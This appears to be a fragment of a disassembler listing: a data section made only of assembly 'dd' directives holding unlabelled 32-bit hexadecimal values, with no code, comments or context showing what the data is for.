		dd 0BE5E1D72h, 0EF492F30h, 0C23D71EEh, 454EF064h, 0D82BACCDh
		dd 0E640FA0Ch, 5F82D29h, 0AFAD8D4Bh, 2D5F5F40h,	75F4654Ah
		dd 54550660h, 2E017FAEh, 82C20782h, 0FC2E30DAh,	580B5922h
		dd 60005740h, 6A78772Dh, 0CFC4464Eh, 0EDA32B0h,	42197E03h
		dd 6FE31038h, 0E961F309h, 809A410Dh, 58281AE0h,	0AF4BFAD9h
		dd 9E20BF29h, 0A45A74E6h, 0FE311DBCh, 34E380C8h, 9FB353FAh
		dd 0DDAF91B9h, 0E6F23C00h, 727E395Ch, 1CFBA131h, 0D441B30Ch
		dd 9CC80334h, 0C3883953h, 55BDE13h, 538E0F26h, 95095794h
		dd 1896A60Bh, 0F1BD356Eh, 3A63BFA7h, 0EB75BC78h, 0EAE9C3C2h
		dd 0BB2FD4E8h, 0C93E2096h, 6674FC55h, 0DC2B5D81h, 0BE4165D3h
		dd 0F355554h, 82686E90h, 0AA2BE138h, 41785238h,	73354171h
		dd 6A15D911h, 804DCB5h,	484A54C5h, 1981F459h, 535D9410h
		dd 0B57A63Eh, 514E8AE9h, 2B78F48h, 0BF4BDB64h, 7504804Bh
		dd 13498AA4h, 6EB1C00h,	9048E46Dh, 0B8500273h, 63234A47h
		dd 3249C840h, 0FE55662Fh, 0ABFA8079h, 0F8098088h, 3BE7FF90h
		dd 0E3BB8313h, 0F1BB8576h, 5D51BD91h, 2B0BF07Bh, 0A4B912C0h
		dd 97741C3Ch, 277D3F40h, 7A792A58h, 2DF03F17h, 498F7DECh
		dd 476BCA65h, 0E93BC7E7h, 713175Ch, 8BAF4F85h, 0E9B62C16h
		dd 0B1515300h, 5A97E9E6h, 8531ADD8h, 0B2EE65E5h, 89D3103Ah
		dd 6F99E9C2h, 0AACFB0A5h, 0E912768Eh, 0B2F447ECh, 0AB7A743Fh
		dd 0F7886F17h, 0C95F5A8Bh, 0DCE82225h, 68426226h, 0C226F423h
		dd 78605559h, 57D7EA5Fh, 0B5B97A85h, 5A5F9569h,	2F5176A4h
		dd 16756225h, 0E21EC467h, 1F14D3h, 564E3D98h, 0E9DA8952h
		dd 5CDED6CDh, 14130227h, 16DC0D09h, 0E9120720h,	0C1ADDC45h
		dd 0C61D2207h, 0B1C0B40Ah, 4F9F609Fh, 534517B4h, 0FAE3CCFBh
		dd 9B078EAAh, 672F3B20h, 0F22A9585h, 0B6BB0019h, 81375F2Fh
		dd 21C90ECBh, 0E3C05135h, 1FB2076Dh, 0C1A14B5Bh, 0DF829C05h
		dd 0E90C6029h, 0F1F97702h, 84F4AC7Ah, 31AB34FEh, 3BE2F871h
		dd 4F3FE676h, 0BF94135Fh, 5E2B01D8h, 0A690414Ch, 2E6AB27Dh
		dd 4B383AFBh, 63732AAh,	29645458h, 0AC905F1Eh, 0E25B02EFh
		dd 1BD2A007h, 0BBD9957Dh, 3AF62D00h, 0D4177h, 4ABF5986h
		dd 5F342540h, 2D790F07h, 48545D2Ch, 0E96630EEh,	199D4D15h
		dd 52381835h, 5B6AE64Ah, 7FC991A2h, 0F38EA7D7h,	538414D7h
		dd 525C00FEh, 0A09CB0BAh, 0D31331E4h, 0B4A113E9h, 4128B3Eh
		dd 5BBD4B3Bh, 8415B14h,	0B2C5B37Bh, 1C347753h, 0DD1C8B25h
		dd 0CD9D3494h, 262A566h, 0EAA4195Dh, 32978C57h,	7F294F72h
		dd 72BE5F90h, 6E8E53D8h, 9233FE45h, 5B07818Ah, 16439A30h
		dd 0EA034E31h, 0DA01C291h, 974BAADCh, 94C49675h, 5AF5695Ch
		dd 8C5B1Eh, 55C0B9C6h, 61F42AE2h, 5B66CD9Eh, 0B05595F3h
		dd 0B244E97Eh, 7790C028h, 68709A05h, 284DC305h,	0B4AA5B9Dh
		dd 6902A764h, 4BE97DBDh, 96DE5932h, 30594935h, 0E970E156h
		dd 0F94853A9h, 7D0B683Bh, 0BE387071h, 0F79446C0h, 0C6ACA8Ch
		dd 27660BB8h, 0D71494h,	0F0114EA0h, 2D050B4Dh, 71026436h
		dd 96F558C1h, 3699203Fh, 0F5AD2FFFh, 14CEB21Dh,	0C00C7FEh
		dd 2937DB19h, 7D31E9DDh, 15F2E8Ch, 9AF1EB60h, 0A3539DACh
		dd 0F81396CFh, 0A8BB5840h, 987CF73Ah, 24460C3Dh, 320C1EC1h
		dd 51586D18h, 25200182h, 2FD41040h, 1CAF962Fh, 0C4EF5143h
		dd 0BE71F3E9h, 41D4E25Ah, 406BF63Ah, 6016C575h,	19B04891h
		dd 25804140h, 8E7698C6h, 0F826242Dh, 76E4996h, 6B1E7BEDh
		dd 0F463C201h, 30DA89E9h, 4903B439h, 83411C30h,	3C2212C1h
		dd 0E737AA44h, 0B2B53E95h, 16C274ADh, 6F2A7155h, 12F2E256h
		dd 0E3BFDA75h, 47E505D5h, 9F12115Bh, 0CB11CCEEh, 32277B49h
		dd 0D8EBF0FAh, 0FCBA9D40h, 0F9A22F59h, 0F74E5E0Bh, 481602D6h
		dd 83495CF0h, 16B740DCh, 1B63E6B0h, 3090A3Eh, 0B1A2BCEh
		dd 3EEEE06Ah, 98450224h, 8FE9F729h, 0DFBB0B7Fh,	89D75132h
		dd 0E25AA2A1h, 5FBF181Fh, 7D5A283Dh, 0E90B6362h, 254D5067h
		dd 0E8D011B9h, 8B7E51B5h, 125F7468h, 0CC5C04h, 2502D9BFh
		dd 0E775C169h, 5E09F398h, 74650593h, 80E82C45h,	3F8E7806h
		dd 4E02242Dh, 3AE97AB8h, 0F2B3C4F5h, 7C173070h,	0E88F4CFEh
		dd 0D8E98309h, 0CC64D7EFh, 0C47BFD27h, 0F95A5F26h, 55F5A735h
		dd 0BEBDAABh, 5816E95Dh, 9789E699h, 0C3017647h,	3A027882h
		dd 32A56Fh, 6A0FE908h, 0D977A19Ah, 0DE76B12Dh, 0ACE153F0h
		dd 64FE2AB8h, 0BA1AEF54h, 3BECDD16h, 5C3C93Eh, 58E9077Ah
		dd 0FD6340BBh, 767D685Fh, 0B6EC2FE1h, 135EB6B4h, 0C5A462B4h
		dd 2F2DE6C8h, 0FC0F6C87h, 2654E8h, 0B7002610h, 80E7D0E1h
		dd 0D2F96AC7h, 49D6578h, 51FDCEB0h, 314CEA01h, 0DBD1776Ch
		dd 73D27BE9h, 0D72A7866h, 54968060h, 0FFC5B253h, 0D9A09B4h
		dd 76209CB0h, 8182B763h, 0C8DE4B53h, 7802A2C8h,	4A401E26h
		dd 0C5785500h, 7F5B0B81h, 0E98436B2h, 0C2C4FAA8h, 0F6C587F8h
		dd 6BA1AEE1h, 0AB3F346Bh, 560449CBh, 0C1B7EE9h,	0F29C44D3h
		dd 12776169h, 30EB874Dh, 35121399h, 39BC36FEh, 87456DB0h
		dd 0CF07277Eh, 1BC3737Eh, 6FF3F760h, 85714178h,	7A5CE904h
		dd 7DD68EAEh, 58ED7CB7h, 0A295E3DFh, 0E551BC6h,	742DBD67h
		dd 4090FEF4h, 3056C8E5h, 30C1AEFh, 377C317Ch, 2F0CD12h
		dd 400CCC19h, 0C80FF2F4h, 873D5B4Ah, 0D24838CAh, 0FFAE68D2h
		dd 0BE2C45E6h, 63168B37h, 50CB2A0Bh, 36FD95DEh,	0BF5C5BF2h
		dd 3EC6C730h, 55D82F4Ah, 879887Dh, 0CC276326h, 0BFE9137Eh
		dd 0FC3DD387h, 0AFBA8D02h, 0DD73D423h, 0C8EB889h, 7FFD5BE2h
		dd 0AD8B140h, 4BBF3Bh, 9932A9F1h, 40A5E915h, 7A09BEA0h
		dd 843D7535h, 5009F09h,	263B1381h, 204EEC9Dh, 66505A11h
		dd 5961B796h, 0F8ABED0Ah, 7C35FEAh, 0C82D1274h,	1C2D1B07h
		dd 3011C316h, 0F778D0Bh, 0E9C0B709h, 0B818601Dh, 4779002Bh
		dd 69D32D34h, 4807307Ah, 441E0D05h, 0D689E9F2h,	0E6B901BDh
		dd 6F9997C4h, 0A8FBF5C4h, 67361389h, 0FD4B6AF3h, 280D80E6h
		dd 905173E8h, 8803F71Ah, 0E57D87F2h, 485DA5E4h,	0D25C366Dh
		dd 8FAEFC12h, 0FA588950h, 84C425A5h, 65EFE3F6h,	8DD40D87h
		dd 9B32F8EAh, 2DC2B003h, 4F583078h, 0E9FD2A18h,	13BE964Ah
		dd 501B0BCAh, 0E9424653h, 2F89DC0Ah, 57C08FFCh,	4FC6855h
		dd 0E9329A36h, 0FFEC9529h, 9CA6DD1Fh, 83CB57F0h, 7E23C1A9h
		dd 7B64188Dh, 58659D51h, 8253299Ah, 734F9F48h, 6FEA0DBCh
		dd 13166A27h, 0D25937A4h, 6C59EF0Eh, 9828020Fh,	6B1CE9A0h
		dd 0A54B9897h, 2F2C9B57h, 7C95AAF2h, 67D7A7CDh,	2FE90678h
		dd 0ECB8A0C3h, 97750309h, 0CC4AF755h, 97D3DA55h, 0B0BF145h
		dd 3164FFADh, 3D12824Ah, 3FFF6DAAh, 0AECB26FCh,	78683DC0h
		dd 6F341D12h, 3736E70Ch, 495A9DC7h, 0AA2567B2h,	27D67BB1h
		dd 799CB857h, 7512AAD5h, 54CBCF7Ch, 6E5050BAh, 0D800B492h
		dd 5278C176h, 2DCDBAh
		dd 0D0212CB2h, 0E742055Ah, 8C1CAC2Fh, 261ADCC6h, 2650FD0Ch
		dd 39ED087Dh, 0BB4A8D28h, 0D154121Fh, 605E2092h, 68079081h
		dd 5F4C2903h, 43AA0148h, 2E93372h, 317F033Ch, 2ECB38F6h
		dd 7FAC04A2h, 2880FD39h, 0C6CBBB04h, 0CCB6647Ch, 5A008026h
		dd 899FAB91h, 4AE912C2h, 5DBF316h, 48A932F0h, 0A111A8C3h
		dd 51242F3Fh, 0A95E5E08h, 0F646825h, 32E1E90Eh,	51773A3h
		dd 95DEB228h, 97A2D68h,	0EAC85FD2h, 0EABEF468h,	3C25046Fh
		dd 0C85162E2h, 0E98869C1h, 52872DE6h, 0F724CE88h, 0E95131ABh
		dd 0BBDC50FAh, 4E097ACFh, 0F8DF313Dh, 80981E9Dh, 2FF4A746h
		dd 4AC1312Fh, 0BA5E007Eh, 7C4C62F6h, 819D72F4h,	20CD803Ah
		dd 0E087C5CCh, 0E9BBC6EBh, 0D4B7415Eh, 270550D1h, 17099B7h
		dd 0E9128B36h, 0BD21E04Dh, 1E7B0500h, 0F0F58128h, 48077E54h
		dd 0EF131509h, 4974EA55h, 126AF2BFh, 0A22A218Dh, 397FE90Ch
		dd 0C06EF17h, 13D023Ah,	8BD525Ch, 0BF9EB250h, 32C531A0h
		dd 60FD1253h, 7A187EF7h, 38A44EB4h, 4894031Ah, 4E9EE01h
		dd 700712CCh, 469241B1h, 2432C974h, 16B885A0h, 0A2591189h
		dd 0C2BA4852h, 0D8F4E954h, 5C681330h, 0B44CFC03h, 6E398CBBh
		dd 0D2B463D2h, 4202F32Eh, 6A140CC0h, 0E6B063E2h, 442F077Fh
		dd 87166C8h, 7DA86852h,	9F2A73Fh, 6909FD22h, 821FA3FFh
		dd 0B9EB8466h, 54538920h, 0E95B412Fh, 0F0D02E95h, 3DDA6AF6h
		dd 0E3920170h, 0FB2DF46Fh, 84F9FD12h, 6BC1CFA4h, 0BDD69CE9h
		dd 0F8A55067h, 0BB57D252h, 3A4EDDBAh, 917556EFh, 0D02C881h
		dd 0F5EA6BE1h, 7C895CE5h, 0F6074EFDh, 8D064BE4h, 79C6CCD9h
		dd 0F2459428h, 7028F612h, 0D6F7F707h, 1304DE26h, 0A83DE956h
		dd 2246531Dh, 2047332Ch, 71D8C269h, 23981762h, 9CD2B300h
		dd 5EF2315Ah, 37D14F89h, 0AFCB8580h, 813CEDE2h,	8C576D05h
		dd 24D7EB74h, 4E367C90h, 5FC4C046h, 29136A3Dh, 0F55BDD25h
		dd 0F3E9EB90h, 0A393994Eh, 0D2E599B7h, 13E7EDD8h, 1059EE88h
		dd 5A75EF17h, 6ACBA6AAh, 430B0C8Ch, 0B874645h, 620564A6h
		dd 7A2FD80h, 0E1EC31B4h, 524BC701h, 0D187492Ah,	3A32762Ch
		dd 0A6E1298Bh, 208CCC81h, 2AF31A72h, 801E5F1h, 8A388AE9h
		dd 0C9A4041Dh, 1CFF26E7h, 4721128Ah, 12AAAD1Ch,	33D932FDh
		dd 1C661540h, 0C10F00A0h, 942D02E0h, 3E488071h,	0EBA5A5Dh
		dd 0E9C201D9h, 0C2CC3D1Ah, 469FD027h, 1F652619h, 235D69E5h
		dd 0A2217537h, 4BA2D441h, 0AF2B6FDDh, 562572DBh, 0CD4E90Ah
		dd 0C9656AD1h, 16B12A2Ah, 0A34EFCDBh, 6191EC51h, 5B70FA5Fh
		dd 0BF6F7405h, 0A27AE8A5h, 0BCABA473h, 0E95CE091h, 0E8A9B70Ah
		dd 3F137F74h, 0CABB0D84h, 61AA4B83h, 11EB72Eh, 0E1E5C2BDh
		dd 1DCDF830h, 867E787Dh, 0FB56A4E9h, 0C52DE577h, 95206EEDh
		dd 92BB3AD0h, 8190F50Ch, 0DECAF4D1h, 801FD708h,	4452684Ch
		dd 2BC980A9h, 0E8B95000h, 974A9343h, 0F09FE050h, 0D9DDE9F3h
		dd 4EB64970h, 521BDC3Eh, 63905F95h, 2166EB68h, 76819957h
		dd 405E4Fh, 802AB7A4h, 63BFB1F7h, 83D5E9E3h, 0B61ABC2Fh
		dd 3CE2B7DBh, 6CB5B7CEh, 62902564h, 57A59EFBh, 982721C4h
		dd 0D29D5C1Eh, 18C5A84Ch, 0AB833CC0h, 8B84B529h, 70ED0816h
		dd 3BDD8989h, 680D3D2Ah, 96935B2Fh, 5CE9D10Bh, 9E71DC23h
		dd 428F0ADDh, 53B6829Fh, 51D882B0h, 4E5FB380h, 0BD425395h
		dd 0CD11FE97h, 0F6F03FADh, 960C13C2h, 80A7016Dh, 3012E275h
		dd 1602582Fh, 40685A98h, 0B848A752h, 0FC1C6AD3h, 0DEB78D82h
		dd 64880989h, 24BFAA59h, 2863F6A8h, 4B03D1C3h, 0FAE14994h
		dd 372F2D79h, 9CDEB02Fh, 29B8406Dh, 31597363h, 625EF025h
		dd 92004839h, 0D5031638h, 58A71F09h, 0F3811BF9h, 9E25A409h
		dd 6FE98053h, 161E6C22h, 0A81D87E9h, 5A90E6C2h,	0DCC1B5B9h
		dd 0A7BD2113h, 0C2AF592Eh, 0C0297D0Ah, 2449F159h, 98688B05h
		dd 63BF1203h, 0E9780209h, 4EF47039h, 0F068345Eh, 46092DE8h
		dd 85F6FCFh, 39240705h,	42CAFBADh, 0D9F7CCB7h, 8BBB60D3h
		dd 197E3C55h, 2A7DEB06h, 0CAE4D5Fh, 787E11EAh, 1A9756C1h
		dd 1A87DD4Ch, 12843A29h, 5517EEF2h, 0EBC0A6B2h,	0B05095F3h
		dd 0D0B08775h, 0B2408D4h, 6A3A7Ch, 2574EA50h, 4D4B59C9h
		dd 86C0D72Dh, 5B00B0BAh, 0E281669Ah, 5782602Eh,	0E9286225h
		dd 0C620BFF0h, 19B239F9h, 7A9705F6h, 0ED1C4FAFh, 0FBE9F0B2h
		dd 0C02ED098h, 0CFC71C2Fh, 50D8A88h, 0AE58C388h, 0F37BC3B5h
		dd 0E952040Fh, 0E4E95655h, 22275104h, 173EA848h, 89BB6F25h
		dd 0F1B57BD5h, 9A752EF5h, 0F286D82Bh, 0B3301B69h, 0DE4ADA43h
		dd 0AB332F48h, 3BBF02E1h, 0E98316E6h, 0BA8423CFh, 0C08D85F9h
		dd 0E4B26F65h, 0AACF6838h, 5E647E8Ch, 902BBACBh, 0CA8CB4Bh
		dd 8549EF68h, 13C2945Ah, 0FF7DAA5Ch, 82188A37h,	0BE5D3891h
		dd 0BA6A9A00h, 5AD6294Bh, 2F1471B9h, 9FF63C84h,	27E77108h
		dd 0F69C815Fh, 3E55A61h, 0A455A86Fh, 4EC6C1BBh,	788A3B40h
		dd 0EC7C8A16h, 4B79C65Eh, 0CFB8C085h, 321A2509h, 47D7F712h
		dd 985114CCh, 2C91CE4h,	0D440276Ah, 0F50B05D0h,	5412CB4Ch
		dd 83BA006Ch, 2954F853h, 0B8E9CA1Ah, 0B481C8E5h, 0C98180BAh
		dd 5123A60Eh, 1402DF46h, 0E0BCD61Eh, 586D32EEh,	607EF7A7h
		dd 0D328B650h, 7B64EB80h, 0D20B9106h, 9518A876h, 43FED51h
		dd 1233D3Eh, 529C80D5h,	32084311h, 1692DEE9h, 979EEE5Fh
		dd 0D67FB34Fh, 936E91FBh, 0D3F7011Ah, 9AE0730h,	896CB891h
		dd 0CE0920FCh, 0E50A5EACh, 61F3AE5Eh, 451ED641h, 6B5EE91Ah
		dd 0CFCBB00h, 0FD97716Eh, 0E1282105h, 21A27BD7h, 0A8C13886h
		dd 2813F44h, 823A2DE5h,	54604D1Ch, 8F5E386Fh, 165D18A0h
		dd 0FF5E4C74h, 805ECC4h, 8FF1B0E9h, 0E6162260h,	28A71EEEh
		dd 72C61DFEh, 8B5FF0EAh, 77D68B74h, 2B204696h, 0DD505C5Fh
		dd 609DEA20h, 0E6F2E44Dh, 88211FECh, 40CBD7E6h,	3B43B9E4h
		dd 0BD3B5681h, 0D5216E7h, 71E61DAFh, 4E27A46h, 0C299900Bh
		dd 4BEA7995h, 59EA9700h, 0D8957895h, 49D4B56h, 0C2ED80B8h
		dd 20DDD44Dh, 6859EE76h, 2912163Fh, 80A10CEh, 659AE90Ch
		dd 0B70FF627h, 6B75DE7Fh, 4D9925C8h, 63A024C5h,	0CFF49F55h
		dd 924AF9CAh, 35484000h, 4E39A489h, 8B17AEA2h, 331444A2h
		dd 8080F52Fh, 0BE01A313h, 0E54EB005h, 0F6AD3154h, 6C20C94Ch
		dd 721AB901h, 0D9F70E78h, 0E9F1342Ah, 24FD7946h, 0FBA05CEDh
		dd 1D3E37BFh, 0E0AD1971h, 12605918h, 90E2A647h,	0DCDF2FF4h
		dd 277FD022h, 4DCE80A0h, 407BA070h, 7121582Fh, 597C3C54h
		dd 0B4046F32h, 0BE18E41Ah, 4BCE1041h, 0F2D84740h, 937A5C5Ah
		dd 5D86E90Bh, 0AFDF7A44h, 843530F0h, 52922709h,	0B4AC9475h
		dd 0FB74AD7Fh, 0A3547ABBh, 84120FD1h, 0F2BFC9B6h, 0F4B6D714h
		dd 3C7D5525h, 8A749C59h, 0BBCC8E0Ch, 0D4F5C213h, 0F996A163h
		dd 0F9EA0418h, 1A4A7AD0h, 9C325E4h, 3896741Bh, 83301380h
		dd 84B5DB49h, 41BA5F01h, 4259D086h, 41787635h, 10C01D7h
		dd 0D38072D6h, 0E97AF0EAh, 0DD223B25h, 0C96E6E5h, 0EF1E64EAh
		dd 0AB4E5ABCh, 0FCE94E60h, 0B779B7D5h, 0E9583E68h, 313F6B2Dh
		dd 0BE5CA40Bh, 7265DF82h, 0C821464h, 9532C5Eh, 382CE9F5h
		dd 0EFEC9994h, 711A740Bh, 1362752Bh, 0E5A0806h,	7F477909h
		dd 0E85A026Ch, 5DB90017h, 1D4A126Ah, 0C508440Fh, 2CD4BB88h
		dd 6AB401FFh, 2A7A7861h
		dd 1336F22Ch, 0A80CEA72h, 5B6F58E4h, 410F58A8h,	4FCE8B06h
		dd 0AED7D63Eh, 0DF58D61Dh, 25F0D48Ah, 495EC875h, 27C2FD93h
		dd 9C387551h, 37275ACDh, 42EB8E3Fh, 0DF79BBE9h,	844CA1Bh
		dd 0EE40A1B3h, 43A9459h, 0C5329F27h, 82E102Eh, 0BD9DFE62h
		dd 0ED3B680Dh, 800BE416h, 4D68FDB1h, 174EE468h,	0BA15AC8Ch
		dd 0FC284F8Bh, 0B7B32CC1h, 896B0819h, 5CA8BA03h, 0BF07660Dh
		dd 94757C2Ch, 9194F5F4h, 0FD843DFCh, 55680B16h,	825FF162h
		dd 269AE64h, 99D451B0h,	72EF9F4Fh, 7EEF3CCDh, 0F7817680h
		dd 17184B65h, 6E94717h,	8001094Bh, 675BBE3Dh, 6DF4EB57h
		dd 0FF194E5Dh, 1037312Ch, 0B91DEECh, 7AF709E9h,	0B1824AA5h
		dd 0AB2CC46Fh, 2596D39Dh, 4B4C3CBh, 32FF2BC6h, 415AF150h
		dd 0C8FCC5FCh, 0D75F3127h, 5205E56Ch, 0BB390B42h, 0C2FA0512h
		dd 0F70CBFBh, 77576564h, 1664AEC1h, 76A1176Ch, 9F943A8Ch
		dd 1C2A0FFh, 61EB545Ah,	0EF525A4Ah, 0A0B2F29Ch,	0A0CE11E9h
		dd 3032392Ah, 612C6F26h, 45BD42Bh, 0CE68C503h, 3871707h
		dd 6C9CD15Dh, 30A86561h, 0D65CF60Dh, 0C0011611h, 0B4500A03h
		dd 6ECB133h, 0A83DCF9h,	0A3C48003h, 0C258E681h,	4A629DDh
		dd 6842CAB3h, 985553B3h, 80F3F55Eh, 3A1E0ABFh, 458B1F64h
		dd 98AF7A6Eh, 51FAB51Bh, 0F4FD30B7h, 2D3E9235h,	0CD945063h
		dd 0A69ED797h, 605F01EAh, 0FFD299E3h, 40E7F32Ch, 0A3BA2964h
		dd 0A715A80Fh, 0B174A418h, 288EBD0Fh, 65D7A77Fh, 0FE018BEAh
		dd 826A3277h, 0B460C88h, 2BD12277h, 3095654Eh, 36313531h
		dd 3847592Eh, 0B31E5A24h, 112511Eh, 2851CCEAh, 0B9F8B041h
		dd 4EDBECA0h, 6B31E1CBh, 932416B1h, 0A32E14AAh,	4509B064h
		dd 5704F45Bh, 2E9BF176h, 0A29284B6h, 2CAE189Dh,	12B6C5ADh
		dd 0B8517B31h, 579E100Dh, 0FE876813h, 97F8B8Ch,	492EA42Fh
		dd 288E8AC5h, 0D7271C6Ch, 5C4FBA4Eh, 0FC5E03A2h, 0C06E194Dh
		dd 4CD4C67Fh, 0B02C4B63h, 0C19D3730h, 0E92A5487h, 0DA80F4F4h
		dd 5ACB5229h, 40B9F849h, 5B7F483h, 91BEACC4h, 0A04C6DC8h
		dd 0E5297F3Fh, 54275007h, 14750846h, 5D25C420h,	0EE7E6479h
		dd 5E547B55h, 0BBE3852Ah, 0A4CBCCF3h, 0FF30CF25h, 0A1880283h
		dd 0D33FD2F6h, 0E9E086FBh, 0C6B776C3h, 781820E6h, 0BA5FC39Fh
		dd 2E7D5C3h, 3245D7A7h,	8315127h, 0B53AA53Dh, 0CBDCD0Fh
		dd 0E2D7858Dh, 42A4F17Fh, 0EC63E907h, 0D7052203h, 0D260DF79h
		dd 16B77C7Ch, 6E8AAF54h, 4DEC4169h, 0C4BE7E27h,	0B2E4FD2Bh
		dd 7BD20E42h, 9AE9F901h, 407194D8h, 0E8200890h,	0F35C4F73h
		dd 3E307CC6h, 29C2F906h, 0AB2B16B7h, 77CD0521h,	274BCBB8h
		dd 72D456EBh, 2F01E5C3h, 7761A2EBh, 0FB526618h,	1735DC84h
		dd 31C565Ch, 5310D86Eh,	4EDAA94h, 0AC4BF981h, 0CECD3F64h
		dd 0FC58D30Bh, 303BA820h, 9F9698E2h, 1289F57Fh,	0EC4CB61Bh
		dd 40E47EF9h, 3EB21CC0h, 5880DAF6h, 8A18D7EAh, 97684C18h
		dd 0DE01165Ch, 0C472270Eh, 54815D77h, 7A071A10h, 5A8D8CADh
		dd 79459F39h, 6056D702h, 24360CE0h, 134113FBh, 7ED4F26Eh
		dd 0BF5B807h, 12EE79D8h, 55B51345h, 614232C2h, 8E2F78BAh
		dd 22EE5FBDh, 0C0C4CD65h, 0A030EC2Dh, 8D18BD8Dh, 0E6D10916h
		dd 3402EEC1h, 480019E8h, 10D3F25h, 28050F0Ah, 0EF5A9E61h
		dd 0E6015CB0h, 0C731BD0Ah, 4D1F2C58h, 73503E0h,	89502833h
		dd 288F2049h, 4A638231h, 90BD555Dh, 23DAA39h, 78F16852h
		dd 23604221h, 7C047AE2h, 0FA872665h, 57C7C3BEh,	858D09EDh
		dd 5316B844h, 70AC34B3h, 0AB295812h, 0BF036DB2h, 10633D67h
		dd 32D9C1F1h, 19EF4BA8h, 766329Bh, 14B54F3Ch, 80E82864h
		dd 1C31DF34h, 0FDDC2DAEh, 68D9F7E0h, 0CC554A5Eh, 961385F7h
		dd 0F10160CCh, 8213FF7h, 40C4282h, 0A87F1D87h, 1C340807h
		dd 0D45D140Bh, 74644234h, 0D669A574h, 84299338h, 0B4E5BD4Ah
		dd 555132EBh, 0AA1508FFh, 81B3C09h, 47A79FD9h, 0C5962909h
		dd 8953AC94h, 0E17F6B17h, 4AA57BEFh, 0C55611F7h, 9574DE63h
		dd 385F7109h, 322EE42Ah, 5D4B79FBh, 73950AC0h, 6E1A6880h
		dd 0E0927916h, 24BC5834h, 52D87D52h, 2D932D59h,	860AE5BDh
		dd 0A577A3E9h, 91098275h, 2E2C178h, 139C470h, 3BC2015Eh
		dd 6B03B12Ch, 48F29518h, 731172CEh, 67C992D1h, 523122E9h
		dd 0EF255B3Dh, 48A454FCh, 9729AF07h, 40CF0123h,	2AE9081Ch
		dd 128FB493h, 225D5FFBh, 50C9EBA0h, 6EFC3B59h, 0AECE91A5h
		dd 9C2A2F41h, 9551E718h, 312F77E6h, 0ABBC80E8h,	126FE33Eh
		dd 0A0A1E953h, 59955C7Ah, 1C7D4B3Fh, 96A24D11h,	3E29FF4Fh
		dd 0C52ABAFDh, 0EAB3AA54h, 5D3F797h, 67A0716Dh,	73CEB9C0h
		dd 0F11E5E5Ah, 619340A0h, 864E05FDh, 6899D8BAh,	592A2325h
		dd 0AE2965A4h, 7B12A152h, 0B559A7B0h, 329EC03Ch, 0B7FE0501h
		dd 0D442941Dh, 732661E0h, 780A57Bh, 0AF5AB408h,	2B8B26A2h
		dd 0FE9DCB70h, 63C1FBBFh, 22F76F97h, 2C904D6h, 0B6BF1356h
		dd 2FB24F53h, 0E289AFC5h, 262578F3h, 71E2E828h,	29202840h
		dd 44469Bh, 69521682h, 0EA98EA81h, 0FF3A4B02h, 30088B10h
		dd 0F4B21E5Bh, 0E9030A3Ch, 4235ED07h, 556CB91Ah, 69586815h
		dd 565A7833h, 0A6EB9995h, 0F0257EA8h, 0AC54D978h, 0BB61133Dh
		dd 0FB4FD18Eh, 0A7292908h, 51D552EAh, 0B108E24Bh, 0F13170D2h
		dd 3FFE770Ah, 28630B8Ch, 435F1E2Bh, 775049B6h, 0D13A4A27h
		dd 0E150D500h, 0C20C8218h, 55E77201h, 4692D4FBh, 0E6F1F290h
		dd 201B1B32h, 40CF8AC1h, 4BF52369h, 684F81BDh, 714860F2h
		dd 0D86F17F3h, 586AA801h, 0DAF78178h, 0B7E7BA25h, 56BC7690h
		dd 5F1D9AC4h, 8952E829h, 50D5A016h, 978ADC88h, 0F15E8268h
		dd 13BC6EB5h, 8C1CCC68h, 659E2F16h, 2AD3B900h, 2F731BEh
		dd 5FBB53D1h, 0C5D0634Bh, 570EF60Eh, 71E3C030h,	0BF79B50Ch
		dd 2E4D300h, 5895B816h,	9C5D97A8h, 61EC95BCh, 38B4CF25h
		dd 4B406813h, 0A57AE96Eh, 0E85140A0h, 147BE868h, 0D65D471Ch
		dd 0EA37C44Eh, 2C68933Ch, 0C7D73FBAh, 0CC078710h, 1348584Ah
		dd 0EC04F55h, 0A02D493Dh, 3B4EDBEh, 0E90F4F3Ah,	6225AB0Ah
		dd 4BE5D557h, 5F853025h, 6D2F2668h, 0C017153h, 468997CFh
		dd 7F70635Ch, 950E018Eh, 0BBE9C831h, 88CE6EC1h,	0C51BED4Eh
		dd 0B1C835D4h, 6151E8Ch, 33E3CC6Bh, 9309BF16h, 8171B960h
		dd 100B8F6Eh, 413440CAh, 1C7E0557h, 2988D8E9h, 28B9D0A7h
		dd 0E9E82CFAh, 5011B20h, 3F303835h, 40D1EFE0h, 0E9AC4896h
		dd 0F8599768h, 427E266h, 0EA81FB64h, 72A50D86h,	2E5B6231h
		dd 0E0C2FFECh, 0DEE1164Eh, 49133A48h, 0C2AFF6EAh, 5B143068h
		dd 51348Fh, 436856C0h, 3906253Ah, 15C8E95Eh, 0D2BB7F54h
		dd 694A0447h, 0CD89053Bh, 0EE9297F2h, 0A86AF6A5h, 0D9BAF434h
		dd 10E7629Eh, 680EC638h, 0BA163BE3h, 9B56738Fh,	6B9D6802h
		dd 535F2657h, 0EA556493h, 0E7F9A217h, 0E917FE85h, 55248DBh
		dd 0CD791316h, 752004BFh, 0CB8704A5h, 0A6BB4081h, 5834F3CDh
		dd 0A8DE4B01h, 2DAFE021h, 1C0D7E8Bh, 3D074AC9h,	0D56F87CBh
		dd 6534AE6Ch, 0B5511E00h, 3BCD80DEh, 0F6A6660Fh, 8C011D57h
		dd 228CFE59h, 9D343A44h, 0F9AD33DFh, 243E0112h,	0C6A9243Ah
		dd 0CC9D340Eh, 125A4251h, 0E8AD1817h, 0E0E2F42Fh, 50A5075h
		dd 0CA4C8FEFh, 6A50AA10h, 0DC476908h, 3B5149F0h, 0DD266842h
		dd 0F6FBBB6Bh, 50582625h
		dd 2EE0380Dh, 0C039FE5Eh, 7FD3F07Eh, 56A33F02h,	4ABF21E9h
		dd 9D20F736h, 1D232822h, 183EE1ECh, 0CC0782Eh, 66482BEEh
		dd 9A7859E9h, 1ADD5127h, 75A4C24Fh, 0F4A5E24Dh,	3E544BEBh
		dd 5EC053C4h, 0A022997Fh, 13E2F3F8h, 10C4D6Fh, 0B07B6DF4h
		dd 0CFA77B13h, 0D57A8225h, 93635A5Ch, 4BE4EFE4h, 0F45EEC41h
		dd 0C275AE7h, 9CA5457Dh, 0D37A4BE9h, 6F0BC8DAh,	0DE303331h
		dd 5C963F74h, 7999E34Dh, 55132E69h, 13013DF2h, 81398858h
		dd 47D0BACFh, 49C0A040h, 0BF307286h, 0C31789DEh, 0BF9E38BAh
		dd 42D82718h, 97A34E8Ch, 685856DEh, 9D727062h, 1CCCB5FCh
